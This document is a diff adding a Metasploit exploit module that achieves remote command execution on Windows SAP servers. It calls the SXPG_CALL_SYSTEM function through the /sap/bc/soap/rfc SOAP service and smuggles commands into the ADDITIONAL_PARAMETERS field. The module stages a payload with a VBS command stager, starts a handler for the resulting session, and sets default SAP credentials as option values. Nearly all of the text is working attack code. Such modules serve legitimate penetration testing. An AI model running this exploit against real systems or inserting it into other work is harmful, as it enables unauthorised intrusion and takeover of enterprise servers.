SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution

Author: nmonkee

modules/exploits/windows/sap/sap_soap_rfc_sxpg_call_system_exec.rb

@@ -0,0 +1,126 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy.
+#
+# The following guys from ERP-SCAN deserve credit for their contributions -
+# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
+# Dmitry Evdokimov.
+#
+# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
+# who have Beta tested the modules and provided excellent feedback. Some people
+# just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+	include Msf::Exploit::CmdStagerVBS
+	include Msf::Exploit::EXE
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize
+		super(
+			'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution',
+			'Description' => %q{
+								This module makes use of the SXPG_CALL_SYSTEM Remote Function Call, through the
+								use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured in
+								the SM69 transaction.
+								},
+			'References' =>
+				[
+					[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
+				],
+			'DisclosureDate' => 'March 26 2013',
+			'Platform' => ['windows'],
+			'Targets' => [['Windows Universal',{'Arch' => ARCH_X64,'Platform' => 'win'}]],
+			'DefaultTarget' => 0,
+			'Privileged' => true,
+			'Author' =>['nmonkee'],
+			'License' => MSF_LICENSE
+		)
+		register_options(
+			[
+				Opt::RPORT(8000),
+				OptString.new('CLIENT', [true, 'SAP Client', '001']),
+				OptString.new('USERNAME', [true, 'Username', 'SAP*']),
+				OptString.new('PASSWORD', [true, 'Password', '06071992']),
+				OptString.new('CMD', [true, 'SM69 command to be executed', nil]),
+				OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS','Windows NT']])
+			], self.class)
+		register_advanced_options(
+			[
+				OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', 250]),
+			], self.class)
+	end
+	
+	def exploit
+		linemax = datastore['PAYLOAD_SPLIT']
+		print_status("Using custom payload size of #{linemax}") if linemax != 250
+		print_status("[SAP] #{rhost}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
+		execute_cmdstager({ :delay => 0.35, :linemax => linemax })
+		handler(nil)
+	end
+
+	def execute_command(cmd, opts)
+		command = cmd.gsub(/&/,'&amp;')
+		os = datastore['OS']
+		data = '<?xml version="1.0" encoding="utf-8" ?>'
+		data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
+		data << '<env:Body>'
+		data << '<n1:SXPG_CALL_SYSTEM xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
+		data << '<ADDITIONAL_PARAMETERS>&amp;' + command.to_s + '</ADDITIONAL_PARAMETERS>'
+		data << '<COMMANDNAME>' + datastore['CMD'] + '</COMMANDNAME>'
+		data << '<OPERATINGSYSTEM>' + os +'</OPERATINGSYSTEM>'
+		data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>'
+		data << '</n1:SXPG_CALL_SYSTEM>'
+		data << '</env:Body>'
+		data << '</env:Envelope>'
+		user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
+		begin
+			res = send_request_raw({
+				'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
+				'method' => 'POST',
+				'data' => data,
+				'headers' =>{
+					'Content-Length' => data.size.to_s,
+					'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
+					'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+					'Authorization' => 'Basic ' + user_pass,
+					'Content-Type' => 'text/xml; charset=UTF-8'
+					}
+				}, 45)
+			if res and res.code != 500 and res.code != 200
+				# to do - implement error handlers for each status code, 404, 301, etc.
+				print_error("[SAP] #{rhost}:#{rport} - something went wrong!")
+				return
+			elsif res and res.body =~ /faultstring/
+				error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})
+				0.upto(error.length-1) do |i|
+					print_error("[SAP] #{rhost}:#{rport} - error #{error[i]}")
+				end
+				return
+			elsif res and res.code == 200
+				return
+			else
+				print_error("[SAP] #{rhost}:#{rport} - Unknown error")
+				return
+			end
+		rescue ::Rex::ConnectionError
+			print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
+			return
+		end
+
+	end
+end